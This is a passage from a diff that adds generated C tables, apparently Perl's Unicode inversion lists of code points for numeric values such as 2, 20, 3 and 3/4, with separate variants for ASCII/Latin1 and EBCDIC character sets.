+	0x6F3,
+	0x7C2,
+	0x7C3,
+	0x968,
+	0x969,
+	0x9E8,
+	0x9E9,
+	0xA68,
+	0xA69,
+	0xAE8,
+	0xAE9,
+	0xB68,
+	0xB69,
+	0xBE8,
+	0xBE9,
+	0xC68,
+	0xC69,
+	0xC7A,
+	0xC7B,
+	0xC7D,
+	0xC7E,
+	0xCE8,
+	0xCE9,
+	0xD68,
+	0xD69,
+	0xDE8,
+	0xDE9,
+	0xE52,
+	0xE53,
+	0xED2,
+	0xED3,
+	0xF22,
+	0xF23,
+	0x1042,
+	0x1043,
+	0x1092,
+	0x1093,
+	0x136A,
+	0x136B,
+	0x17E2,
+	0x17E3,
+	0x17F2,
+	0x17F3,
+	0x1812,
+	0x1813,
+	0x1948,
+	0x1949,
+	0x19D2,
+	0x19D3,
+	0x1A82,
+	0x1A83,
+	0x1A92,
+	0x1A93,
+	0x1B52,
+	0x1B53,
+	0x1BB2,
+	0x1BB3,
+	0x1C42,
+	0x1C43,
+	0x1C52,
+	0x1C53,
+	0x2082,
+	0x2083,
+	0x2161,
+	0x2162,
+	0x2171,
+	0x2172,
+	0x2461,
+	0x2462,
+	0x2475,
+	0x2476,
+	0x2489,
+	0x248A,
+	0x24F6,
+	0x24F7,
+	0x2777,
+	0x2778,
+	0x2781,
+	0x2782,
+	0x278B,
+	0x278C,
+	0x3022,
+	0x3023,
+	0x3193,
+	0x3194,
+	0x3221,
+	0x3222,
+	0x3281,
+	0x3282,
+	0x3483,
+	0x3484,
+	0x4E8C,
+	0x4E8D,
+	0x5169,
+	0x516A,
+	0x5F0D,
+	0x5F0E,
+	0x5F10,
+	0x5F11,
+	0x8CAE,
+	0x8CAF,
+	0x8CB3,
+	0x8CB4,
+	0x8D30,
+	0x8D31,
+	0xA622,
+	0xA623,
+	0xA6E7,
+	0xA6E8,
+	0xA8D2,
+	0xA8D3,
+	0xA902,
+	0xA903,
+	0xA9D2,
+	0xA9D3,
+	0xA9F2,
+	0xA9F3,
+	0xAA52,
+	0xAA53,
+	0xABF2,
+	0xABF3,
+	0xF978,
+	0xF979,
+	0xFF12,
+	0xFF13,
+	0x10108,
+	0x10109,
+	0x1015B,
+	0x1015F,
+	0x102E2,
+	0x102E3,
+	0x103D2,
+	0x103D3,
+	0x104A2,
+	0x104A3,
+	0x10859,
+	0x1085A,
+	0x1087A,
+	0x1087B,
+	0x108A8,
+	0x108A9,
+	0x1091A,
+	0x1091B,
+	0x109C1,
+	0x109C2,
+	0x10A41,
+	0x10A42,
+	0x10B59,
+	0x10B5A,
+	0x10B79,
+	0x10B7A,
+	0x10BAA,
+	0x10BAB,
+	0x10E61,
+	0x10E62,
+	0x11053,
+	0x11054,
+	0x11068,
+	0x11069,
+	0x110F2,
+	0x110F3,
+	0x11138,
+	0x11139,
+	0x111D2,
+	0x111D3,
+	0x111E2,
+	0x111E3,
+	0x112F2,
+	0x112F3,
+	0x11452,
+	0x11453,
+	0x114D2,
+	0x114D3,
+	0x11652,
+	0x11653,
+	0x116C2,
+	0x116C3,
+	0x11732,
+	0x11733,
+	0x118E2,
+	0x118E3,
+	0x11C52,
+	0x11C53,
+	0x11C5B,
+	0x11C5C,
+	0x11D52,
+	0x11D53,
+	0x12400,
+	0x12401,
+	0x12416,
+	0x12417,
+	0x1241F,
+	0x12420,
+	0x12423,
+	0x12424,
+	0x1242D,
+	0x1242E,
+	0x12435,
+	0x12436,
+	0x1244A,
+	0x1244B,
+	0x12450,
+	0x12451,
+	0x12456,
+	0x12457,
+	0x12459,
+	0x1245A,
+	0x16A62,
+	0x16A63,
+	0x16B52,
+	0x16B53,
+	0x1D361,
+	0x1D362,
+	0x1D7D0,
+	0x1D7D1,
+	0x1D7DA,
+	0x1D7DB,
+	0x1D7E4,
+	0x1D7E5,
+	0x1D7EE,
+	0x1D7EF,
+	0x1D7F8,
+	0x1D7F9,
+	0x1E8C8,
+	0x1E8C9,
+	0x1E952,
+	0x1E953,
+	0x1F103,
+	0x1F104,
+	0x22390,
+	0x22391
+};
+
+#   endif	/* EBCDIC 1047 */
+
+#   if 'A' == 193 /* EBCDIC 037 */ \
+     && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \
+     && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV PL_NV__2_invlist[] = { /* for EBCDIC 037 */
+	239,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0xEA,
+	0xEB,
+	0xF2,
+	0xF3,
+	0x662,
+	0x663,
+	0x6F2,
+	0x6F3,
+	0x7C2,
+	0x7C3,
+	0x968,
+	0x969,
+	0x9E8,
+	0x9E9,
+	0xA68,
+	0xA69,
+	0xAE8,
+	0xAE9,
+	0xB68,
+	0xB69,
+	0xBE8,
+	0xBE9,
+	0xC68,
+	0xC69,
+	0xC7A,
+	0xC7B,
+	0xC7D,
+	0xC7E,
+	0xCE8,
+	0xCE9,
+	0xD68,
+	0xD69,
+	0xDE8,
+	0xDE9,
+	0xE52,
+	0xE53,
+	0xED2,
+	0xED3,
+	0xF22,
+	0xF23,
+	0x1042,
+	0x1043,
+	0x1092,
+	0x1093,
+	0x136A,
+	0x136B,
+	0x17E2,
+	0x17E3,
+	0x17F2,
+	0x17F3,
+	0x1812,
+	0x1813,
+	0x1948,
+	0x1949,
+	0x19D2,
+	0x19D3,
+	0x1A82,
+	0x1A83,
+	0x1A92,
+	0x1A93,
+	0x1B52,
+	0x1B53,
+	0x1BB2,
+	0x1BB3,
+	0x1C42,
+	0x1C43,
+	0x1C52,
+	0x1C53,
+	0x2082,
+	0x2083,
+	0x2161,
+	0x2162,
+	0x2171,
+	0x2172,
+	0x2461,
+	0x2462,
+	0x2475,
+	0x2476,
+	0x2489,
+	0x248A,
+	0x24F6,
+	0x24F7,
+	0x2777,
+	0x2778,
+	0x2781,
+	0x2782,
+	0x278B,
+	0x278C,
+	0x3022,
+	0x3023,
+	0x3193,
+	0x3194,
+	0x3221,
+	0x3222,
+	0x3281,
+	0x3282,
+	0x3483,
+	0x3484,
+	0x4E8C,
+	0x4E8D,
+	0x5169,
+	0x516A,
+	0x5F0D,
+	0x5F0E,
+	0x5F10,
+	0x5F11,
+	0x8CAE,
+	0x8CAF,
+	0x8CB3,
+	0x8CB4,
+	0x8D30,
+	0x8D31,
+	0xA622,
+	0xA623,
+	0xA6E7,
+	0xA6E8,
+	0xA8D2,
+	0xA8D3,
+	0xA902,
+	0xA903,
+	0xA9D2,
+	0xA9D3,
+	0xA9F2,
+	0xA9F3,
+	0xAA52,
+	0xAA53,
+	0xABF2,
+	0xABF3,
+	0xF978,
+	0xF979,
+	0xFF12,
+	0xFF13,
+	0x10108,
+	0x10109,
+	0x1015B,
+	0x1015F,
+	0x102E2,
+	0x102E3,
+	0x103D2,
+	0x103D3,
+	0x104A2,
+	0x104A3,
+	0x10859,
+	0x1085A,
+	0x1087A,
+	0x1087B,
+	0x108A8,
+	0x108A9,
+	0x1091A,
+	0x1091B,
+	0x109C1,
+	0x109C2,
+	0x10A41,
+	0x10A42,
+	0x10B59,
+	0x10B5A,
+	0x10B79,
+	0x10B7A,
+	0x10BAA,
+	0x10BAB,
+	0x10E61,
+	0x10E62,
+	0x11053,
+	0x11054,
+	0x11068,
+	0x11069,
+	0x110F2,
+	0x110F3,
+	0x11138,
+	0x11139,
+	0x111D2,
+	0x111D3,
+	0x111E2,
+	0x111E3,
+	0x112F2,
+	0x112F3,
+	0x11452,
+	0x11453,
+	0x114D2,
+	0x114D3,
+	0x11652,
+	0x11653,
+	0x116C2,
+	0x116C3,
+	0x11732,
+	0x11733,
+	0x118E2,
+	0x118E3,
+	0x11C52,
+	0x11C53,
+	0x11C5B,
+	0x11C5C,
+	0x11D52,
+	0x11D53,
+	0x12400,
+	0x12401,
+	0x12416,
+	0x12417,
+	0x1241F,
+	0x12420,
+	0x12423,
+	0x12424,
+	0x1242D,
+	0x1242E,
+	0x12435,
+	0x12436,
+	0x1244A,
+	0x1244B,
+	0x12450,
+	0x12451,
+	0x12456,
+	0x12457,
+	0x12459,
+	0x1245A,
+	0x16A62,
+	0x16A63,
+	0x16B52,
+	0x16B53,
+	0x1D361,
+	0x1D362,
+	0x1D7D0,
+	0x1D7D1,
+	0x1D7DA,
+	0x1D7DB,
+	0x1D7E4,
+	0x1D7E5,
+	0x1D7EE,
+	0x1D7EF,
+	0x1D7F8,
+	0x1D7F9,
+	0x1E8C8,
+	0x1E8C9,
+	0x1E952,
+	0x1E953,
+	0x1F103,
+	0x1F104,
+	0x22390,
+	0x22391
+};
+
+#   endif	/* EBCDIC 037 */
+
+static const UV PL_NV__2_SLASH_3_invlist[] = { /* for all charsets */
+	15,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x2154,
+	0x2155,
+	0x10177,
+	0x10178,
+	0x109FD,
+	0x109FE,
+	0x10E7E,
+	0x10E7F,
+	0x1245B,
+	0x1245C,
+	0x1245E,
+	0x1245F,
+	0x12466,
+	0x12467
+};
+
+static const UV PL_NV__2_SLASH_5_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x2156,
+	0x2157
+};
+
+static const UV PL_NV__20_invlist[] = { /* for all charsets */
+	63,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x1373,
+	0x1374,
+	0x2473,
+	0x2474,
+	0x2487,
+	0x2488,
+	0x249B,
+	0x249C,
+	0x24F4,
+	0x24F5,
+	0x3039,
+	0x303A,
+	0x3249,
+	0x324A,
+	0x5344,
+	0x5345,
+	0x5EFF,
+	0x5F00,
+	0x10111,
+	0x10112,
+	0x102EB,
+	0x102EC,
+	0x103D4,
+	0x103D5,
+	0x1085C,
+	0x1085D,
+	0x1087F,
+	0x10880,
+	0x108AE,
+	0x108AF,
+	0x108FE,
+	0x108FF,
+	0x10918,
+	0x10919,
+	0x109CA,
+	0x109CB,
+	0x10A45,
+	0x10A46,
+	0x10A9F,
+	0x10AA0,
+	0x10AEE,
+	0x10AEF,
+	0x10B5D,
+	0x10B5E,
+	0x10B7D,
+	0x10B7E,
+	0x10BAE,
+	0x10BAF,
+	0x10E6A,
+	0x10E6B,
+	0x1105C,
+	0x1105D,
+	0x111EB,
+	0x111EC,
+	0x1173B,
+	0x1173C,
+	0x118EB,
+	0x118EC,
+	0x11C64,
+	0x11C65,
+	0x1D36A,
+	0x1D36B
+};
+
+static const UV PL_NV__200_invlist[] = { /* for all charsets */
+	9,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x1011A,
+	0x1011B,
+	0x102F4,
+	0x102F5,
+	0x109D3,
+	0x109D4,
+	0x10E73,
+	0x10E74
+};
+
+static const UV PL_NV__2000_invlist[] = { /* for all charsets */
+	5,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x10123,
+	0x10124,
+	0x109DC,
+	0x109DD
+};
+
+static const UV PL_NV__20000_invlist[] = { /* for all charsets */
+	5,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x1012C,
+	0x1012D,
+	0x109E5,
+	0x109E6
+};
+
+static const UV PL_NV__200000_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x109EE,
+	0x109EF
+};
+
+static const UV PL_NV__21_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x3251,
+	0x3252
+};
+
+static const UV PL_NV__216000_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x12432,
+	0x12433
+};
+
+static const UV PL_NV__22_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x3252,
+	0x3253
+};
+
+static const UV PL_NV__23_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x3253,
+	0x3254
+};
+
+static const UV PL_NV__24_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x3254,
+	0x3255
+};
+
+static const UV PL_NV__25_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x3255,
+	0x3256
+};
+
+static const UV PL_NV__26_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x3256,
+	0x3257
+};
+
+static const UV PL_NV__27_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x3257,
+	0x3258
+};
+
+static const UV PL_NV__28_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x3258,
+	0x3259
+};
+
+static const UV PL_NV__29_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x3259,
+	0x325A
+};
+
+#   if 'A' == 65 /* ASCII/Latin1 */
+
+static const UV PL_NV__3_invlist[] = { /* for ASCII/Latin1 */
+	235,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x33,
+	0x34,
+	0xB3,
+	0xB4,
+	0x663,
+	0x664,
+	0x6F3,
+	0x6F4,
+	0x7C3,
+	0x7C4,
+	0x969,
+	0x96A,
+	0x9E9,
+	0x9EA,
+	0xA69,
+	0xA6A,
+	0xAE9,
+	0xAEA,
+	0xB69,
+	0xB6A,
+	0xBE9,
+	0xBEA,
+	0xC69,
+	0xC6A,
+	0xC7B,
+	0xC7C,
+	0xC7E,
+	0xC7F,
+	0xCE9,
+	0xCEA,
+	0xD69,
+	0xD6A,
+	0xDE9,
+	0xDEA,
+	0xE53,
+	0xE54,
+	0xED3,
+	0xED4,
+	0xF23,
+	0xF24,
+	0x1043,
+	0x1044,
+	0x1093,
+	0x1094,
+	0x136B,
+	0x136C,
+	0x17E3,
+	0x17E4,
+	0x17F3,
+	0x17F4,
+	0x1813,
+	0x1814,
+	0x1949,
+	0x194A,
+	0x19D3,
+	0x19D4,
+	0x1A83,
+	0x1A84,
+	0x1A93,
+	0x1A94,
+	0x1B53,
+	0x1B54,
+	0x1BB3,
+	0x1BB4,
+	0x1C43,
+	0x1C44,
+	0x1C53,
+	0x1C54,
+	0x2083,
+	0x2084,
+	0x2162,
+	0x2163,
+	0x2172,
+	0x2173,
+	0x2462,
+	0x2463,
+	0x2476,
+	0x2477,
+	0x248A,
+	0x248B,
+	0x24F7,
+	0x24F8,
+	0x2778,
+	0x2779,
+	0x2782,
+	0x2783,
+	0x278C,
+	0x278D,
+	0x3023,
+	0x3024,
+	0x3194,
+	0x3195,
+	0x3222,
+	0x3223,
+	0x3282,
+	0x3283,
+	0x4E09,
+	0x4E0A,
+	0x4EE8,
+	0x4EE9,
+	0x53C1,
+	0x53C5,
+	0x5F0E,
+	0x5F0F,
+	0xA623,
+	0xA624,
+	0xA6E8,
+	0xA6E9,
+	0xA8D3,
+	0xA8D4,
+	0xA903,
+	0xA904,
+	0xA9D3,
+	0xA9D4,
+	0xA9F3,
+	0xA9F4,
+	0xAA53,
+	0xAA54,
+	0xABF3,
+	0xABF4,
+	0xF96B,
+	0xF96C,
+	0xFF13,
+	0xFF14,
+	0x10109,
+	0x1010A,
+	0x102E3,
+	0x102E4,
+	0x104A3,
+	0x104A4,
+	0x1085A,
+	0x1085B,
+	0x1087B,
+	0x1087C,
+	0x108A9,
+	0x108AA,
+	0x1091B,
+	0x1091C,
+	0x109C2,
+	0x109C3,
+	0x10A42,
+	0x10A43,
+	0x10B5A,
+	0x10B5B,
+	0x10B7A,
+	0x10B7B,
+	0x10BAB,
+	0x10BAC,
+	0x10E62,
+	0x10E63,
+	0x11054,
+	0x11055,
+	0x11069,
+	0x1106A,
+	0x110F3,
+	0x110F4,
+	0x11139,
+	0x1113A,
+	0x111D3,
+	0x111D4,
+	0x111E3,
+	0x111E4,
+	0x112F3,
+	0x112F4,
+	0x11453,
+	0x11454,
+	0x114D3,
+	0x114D4,
+	0x11653,
+	0x11654,
+	0x116C3,
+	0x116C4,
+	0x11733,
+	0x11734,
+	0x118E3,
+	0x118E4,
+	0x11C53,
+	0x11C54,
+	0x11C5C,
+	0x11C5D,
+	0x11D53,
+	0x11D54,
+	0x12401,
+	0x12402,
+	0x12408,
+	0x12409,
+	0x12417,
+	0x12418,
+	0x12420,
+	0x12421,
+	0x12424,
+	0x12426,
+	0x1242E,
+	0x12430,
+	0x12436,
+	0x12438,
+	0x1243A,
+	0x1243C,
+	0x1244B,
+	0x1244C,
+	0x12451,
+	0x12452,
+	0x12457,
+	0x12458,
+	0x16A63,
+	0x16A64,
+	0x16B53,
+	0x16B54,
+	0x1D362,
+	0x1D363,
+	0x1D7D1,
+	0x1D7D2,
+	0x1D7DB,
+	0x1D7DC,
+	0x1D7E5,
+	0x1D7E6,
+	0x1D7EF,
+	0x1D7F0,
+	0x1D7F9,
+	0x1D7FA,
+	0x1E8C9,
+	0x1E8CA,
+	0x1E953,
+	0x1E954,
+	0x1F104,
+	0x1F105,
+	0x20AFD,
+	0x20AFE,
+	0x20B19,
+	0x20B1A,
+	0x22998,
+	0x22999,
+	0x23B1B,
+	0x23B1C
+};
+
+#   endif	/* ASCII/Latin1 */
+
+#   if 'A' == 193 /* EBCDIC 1047 */ \
+     && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \
+     && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV PL_NV__3_invlist[] = { /* for EBCDIC 1047 */
+	235,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0xF3,
+	0xF4,
+	0xFA,
+	0xFB,
+	0x663,
+	0x664,
+	0x6F3,
+	0x6F4,
+	0x7C3,
+	0x7C4,
+	0x969,
+	0x96A,
+	0x9E9,
+	0x9EA,
+	0xA69,
+	0xA6A,
+	0xAE9,
+	0xAEA,
+	0xB69,
+	0xB6A,
+	0xBE9,
+	0xBEA,
+	0xC69,
+	0xC6A,
+	0xC7B,
+	0xC7C,
+	0xC7E,
+	0xC7F,
+	0xCE9,
+	0xCEA,
+	0xD69,
+	0xD6A,
+	0xDE9,
+	0xDEA,
+	0xE53,
+	0xE54,
+	0xED3,
+	0xED4,
+	0xF23,
+	0xF24,
+	0x1043,
+	0x1044,
+	0x1093,
+	0x1094,
+	0x136B,
+	0x136C,
+	0x17E3,
+	0x17E4,
+	0x17F3,
+	0x17F4,
+	0x1813,
+	0x1814,
+	0x1949,
+	0x194A,
+	0x19D3,
+	0x19D4,
+	0x1A83,
+	0x1A84,
+	0x1A93,
+	0x1A94,
+	0x1B53,
+	0x1B54,
+	0x1BB3,
+	0x1BB4,
+	0x1C43,
+	0x1C44,
+	0x1C53,
+	0x1C54,
+	0x2083,
+	0x2084,
+	0x2162,
+	0x2163,
+	0x2172,
+	0x2173,
+	0x2462,
+	0x2463,
+	0x2476,
+	0x2477,
+	0x248A,
+	0x248B,
+	0x24F7,
+	0x24F8,
+	0x2778,
+	0x2779,
+	0x2782,
+	0x2783,
+	0x278C,
+	0x278D,
+	0x3023,
+	0x3024,
+	0x3194,
+	0x3195,
+	0x3222,
+	0x3223,
+	0x3282,
+	0x3283,
+	0x4E09,
+	0x4E0A,
+	0x4EE8,
+	0x4EE9,
+	0x53C1,
+	0x53C5,
+	0x5F0E,
+	0x5F0F,
+	0xA623,
+	0xA624,
+	0xA6E8,
+	0xA6E9,
+	0xA8D3,
+	0xA8D4,
+	0xA903,
+	0xA904,
+	0xA9D3,
+	0xA9D4,
+	0xA9F3,
+	0xA9F4,
+	0xAA53,
+	0xAA54,
+	0xABF3,
+	0xABF4,
+	0xF96B,
+	0xF96C,
+	0xFF13,
+	0xFF14,
+	0x10109,
+	0x1010A,
+	0x102E3,
+	0x102E4,
+	0x104A3,
+	0x104A4,
+	0x1085A,
+	0x1085B,
+	0x1087B,
+	0x1087C,
+	0x108A9,
+	0x108AA,
+	0x1091B,
+	0x1091C,
+	0x109C2,
+	0x109C3,
+	0x10A42,
+	0x10A43,
+	0x10B5A,
+	0x10B5B,
+	0x10B7A,
+	0x10B7B,
+	0x10BAB,
+	0x10BAC,
+	0x10E62,
+	0x10E63,
+	0x11054,
+	0x11055,
+	0x11069,
+	0x1106A,
+	0x110F3,
+	0x110F4,
+	0x11139,
+	0x1113A,
+	0x111D3,
+	0x111D4,
+	0x111E3,
+	0x111E4,
+	0x112F3,
+	0x112F4,
+	0x11453,
+	0x11454,
+	0x114D3,
+	0x114D4,
+	0x11653,
+	0x11654,
+	0x116C3,
+	0x116C4,
+	0x11733,
+	0x11734,
+	0x118E3,
+	0x118E4,
+	0x11C53,
+	0x11C54,
+	0x11C5C,
+	0x11C5D,
+	0x11D53,
+	0x11D54,
+	0x12401,
+	0x12402,
+	0x12408,
+	0x12409,
+	0x12417,
+	0x12418,
+	0x12420,
+	0x12421,
+	0x12424,
+	0x12426,
+	0x1242E,
+	0x12430,
+	0x12436,
+	0x12438,
+	0x1243A,
+	0x1243C,
+	0x1244B,
+	0x1244C,
+	0x12451,
+	0x12452,
+	0x12457,
+	0x12458,
+	0x16A63,
+	0x16A64,
+	0x16B53,
+	0x16B54,
+	0x1D362,
+	0x1D363,
+	0x1D7D1,
+	0x1D7D2,
+	0x1D7DB,
+	0x1D7DC,
+	0x1D7E5,
+	0x1D7E6,
+	0x1D7EF,
+	0x1D7F0,
+	0x1D7F9,
+	0x1D7FA,
+	0x1E8C9,
+	0x1E8CA,
+	0x1E953,
+	0x1E954,
+	0x1F104,
+	0x1F105,
+	0x20AFD,
+	0x20AFE,
+	0x20B19,
+	0x20B1A,
+	0x22998,
+	0x22999,
+	0x23B1B,
+	0x23B1C
+};
+
+#   endif	/* EBCDIC 1047 */
+
+#   if 'A' == 193 /* EBCDIC 037 */ \
+     && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \
+     && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV PL_NV__3_invlist[] = { /* for EBCDIC 037 */
+	235,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0xF3,
+	0xF4,
+	0xFA,
+	0xFB,
+	0x663,
+	0x664,
+	0x6F3,
+	0x6F4,
+	0x7C3,
+	0x7C4,
+	0x969,
+	0x96A,
+	0x9E9,
+	0x9EA,
+	0xA69,
+	0xA6A,
+	0xAE9,
+	0xAEA,
+	0xB69,
+	0xB6A,
+	0xBE9,
+	0xBEA,
+	0xC69,
+	0xC6A,
+	0xC7B,
+	0xC7C,
+	0xC7E,
+	0xC7F,
+	0xCE9,
+	0xCEA,
+	0xD69,
+	0xD6A,
+	0xDE9,
+	0xDEA,
+	0xE53,
+	0xE54,
+	0xED3,
+	0xED4,
+	0xF23,
+	0xF24,
+	0x1043,
+	0x1044,
+	0x1093,
+	0x1094,
+	0x136B,
+	0x136C,
+	0x17E3,
+	0x17E4,
+	0x17F3,
+	0x17F4,
+	0x1813,
+	0x1814,
+	0x1949,
+	0x194A,
+	0x19D3,
+	0x19D4,
+	0x1A83,
+	0x1A84,
+	0x1A93,
+	0x1A94,
+	0x1B53,
+	0x1B54,
+	0x1BB3,
+	0x1BB4,
+	0x1C43,
+	0x1C44,
+	0x1C53,
+	0x1C54,
+	0x2083,
+	0x2084,
+	0x2162,
+	0x2163,
+	0x2172,
+	0x2173,
+	0x2462,
+	0x2463,
+	0x2476,
+	0x2477,
+	0x248A,
+	0x248B,
+	0x24F7,
+	0x24F8,
+	0x2778,
+	0x2779,
+	0x2782,
+	0x2783,
+	0x278C,
+	0x278D,
+	0x3023,
+	0x3024,
+	0x3194,
+	0x3195,
+	0x3222,
+	0x3223,
+	0x3282,
+	0x3283,
+	0x4E09,
+	0x4E0A,
+	0x4EE8,
+	0x4EE9,
+	0x53C1,
+	0x53C5,
+	0x5F0E,
+	0x5F0F,
+	0xA623,
+	0xA624,
+	0xA6E8,
+	0xA6E9,
+	0xA8D3,
+	0xA8D4,
+	0xA903,
+	0xA904,
+	0xA9D3,
+	0xA9D4,
+	0xA9F3,
+	0xA9F4,
+	0xAA53,
+	0xAA54,
+	0xABF3,
+	0xABF4,
+	0xF96B,
+	0xF96C,
+	0xFF13,
+	0xFF14,
+	0x10109,
+	0x1010A,
+	0x102E3,
+	0x102E4,
+	0x104A3,
+	0x104A4,
+	0x1085A,
+	0x1085B,
+	0x1087B,
+	0x1087C,
+	0x108A9,
+	0x108AA,
+	0x1091B,
+	0x1091C,
+	0x109C2,
+	0x109C3,
+	0x10A42,
+	0x10A43,
+	0x10B5A,
+	0x10B5B,
+	0x10B7A,
+	0x10B7B,
+	0x10BAB,
+	0x10BAC,
+	0x10E62,
+	0x10E63,
+	0x11054,
+	0x11055,
+	0x11069,
+	0x1106A,
+	0x110F3,
+	0x110F4,
+	0x11139,
+	0x1113A,
+	0x111D3,
+	0x111D4,
+	0x111E3,
+	0x111E4,
+	0x112F3,
+	0x112F4,
+	0x11453,
+	0x11454,
+	0x114D3,
+	0x114D4,
+	0x11653,
+	0x11654,
+	0x116C3,
+	0x116C4,
+	0x11733,
+	0x11734,
+	0x118E3,
+	0x118E4,
+	0x11C53,
+	0x11C54,
+	0x11C5C,
+	0x11C5D,
+	0x11D53,
+	0x11D54,
+	0x12401,
+	0x12402,
+	0x12408,
+	0x12409,
+	0x12417,
+	0x12418,
+	0x12420,
+	0x12421,
+	0x12424,
+	0x12426,
+	0x1242E,
+	0x12430,
+	0x12436,
+	0x12438,
+	0x1243A,
+	0x1243C,
+	0x1244B,
+	0x1244C,
+	0x12451,
+	0x12452,
+	0x12457,
+	0x12458,
+	0x16A63,
+	0x16A64,
+	0x16B53,
+	0x16B54,
+	0x1D362,
+	0x1D363,
+	0x1D7D1,
+	0x1D7D2,
+	0x1D7DB,
+	0x1D7DC,
+	0x1D7E5,
+	0x1D7E6,
+	0x1D7EF,
+	0x1D7F0,
+	0x1D7F9,
+	0x1D7FA,
+	0x1E8C9,
+	0x1E8CA,
+	0x1E953,
+	0x1E954,
+	0x1F104,
+	0x1F105,
+	0x20AFD,
+	0x20AFE,
+	0x20B19,
+	0x20B1A,
+	0x22998,
+	0x22999,
+	0x23B1B,
+	0x23B1C
+};
+
+#   endif	/* EBCDIC 037 */
+
+static const UV PL_NV__3_SLASH_16_invlist[] = { /* for all charsets */
+	9,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x9F6,
+	0x9F7,
+	0xB77,
+	0xB78,
+	0xD78,
+	0xD79,
+	0xA835,
+	0xA836
+};
+
+static const UV PL_NV__3_SLASH_2_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0xF2B,
+	0xF2C
+};
+
+static const UV PL_NV__3_SLASH_20_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0xD5D,
+	0xD5E
+};
+
+#   if 'A' == 65 /* ASCII/Latin1 */
+
+static const UV PL_NV__3_SLASH_4_invlist[] = { /* for ASCII/Latin1 */
+	15,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0xBE,
+	0xBF,
+	0x9F8,
+	0x9F9,
+	0xB74,
+	0xB75,
+	0xD75,
+	0xD76,
+	0xA832,
+	0xA833,
+	0x10178,
+	0x10179,
+	0x109FE,
+	0x109FF
+};
+
